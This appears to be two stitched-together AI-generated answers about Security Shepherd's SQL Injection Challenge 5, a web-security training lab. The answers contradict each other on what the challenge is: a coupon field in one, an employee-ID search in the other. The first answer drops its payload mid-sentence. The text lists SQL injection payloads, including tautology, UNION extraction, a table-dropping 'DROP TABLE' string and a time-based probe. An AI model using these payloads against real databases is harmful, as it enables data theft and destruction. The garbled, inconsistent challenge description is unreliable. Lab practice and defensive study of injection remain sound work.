This challenge demonstrates that SQL injection isn't just about bypassing logins; it can be used to exfiltrate sensitive data

(like discount codes or internal IDs) that the application logic then trusts for further actions. ResearchGate ✅ Result The solution involves using a tautology payload like

in the coupon field to force the database to leak a valid VIP code, which is then used to "purchase" the result key for free. Are you having trouble with the mechanism in this specific level, or does the payload work for your version?

You're looking for information on SQL injection challenges, specifically Security Shepherd's SQL Injection Challenge 5. I'll provide a detailed response.

SQL Injection Challenge 5: Security Shepherd

Security Shepherd is an online platform that offers a series of challenges to help individuals learn about web application security, including SQL injection. Challenge 5 is a part of this series, focusing on SQL injection attacks.

Objective: The objective of Challenge 5 is to exploit a vulnerable web application by injecting malicious SQL code to extract or manipulate sensitive data.

Challenge Description: You are presented with a web application that allows users to search for employees by their IDs. The application uses a SQL database to store employee information. Your goal is to inject malicious SQL code to extract sensitive data, such as employee details or database structure.

Step-by-Step Solution:

Understand the Vulnerability: The application is vulnerable to SQL injection attacks because it directly injects user input into SQL queries without proper sanitization or parameterization.
Identify the Injection Point: The injection point is typically in the input field where you enter the employee ID.
Determine the SQL Query: You need to determine the underlying SQL query being executed. This might involve using tools like Burp Suite or analyzing the web application's code (if available).
Inject Malicious SQL: Once you have an understanding of the SQL query, you can start injecting malicious SQL code to manipulate the query. For example, you might use the following payloads:
- ' OR 1=1 -- to extract all employees
- ' UNION SELECT * FROM another_table -- to extract data from another table
Extract Sensitive Data: By injecting malicious SQL code, you can extract sensitive data, such as employee details or database structure.

Common SQL Injection Payloads:

' OR 1=1 --
' UNION SELECT * FROM employees --
'); DROP TABLE employees; --
' OR IF(MID(VERSION(),1,1)='5',SLEEP(5),1) --

Tips and Best Practices:

Use parameterized queries or prepared statements to prevent SQL injection attacks.
Sanitize and validate user input to prevent malicious SQL code injection.
Limit database privileges to prevent attackers from exploiting elevated privileges.

Resources:

OWASP SQL Injection Cheat Sheet: A comprehensive guide to SQL injection attacks and prevention.
Security Shepherd: A platform offering web application security challenges, including SQL injection challenges.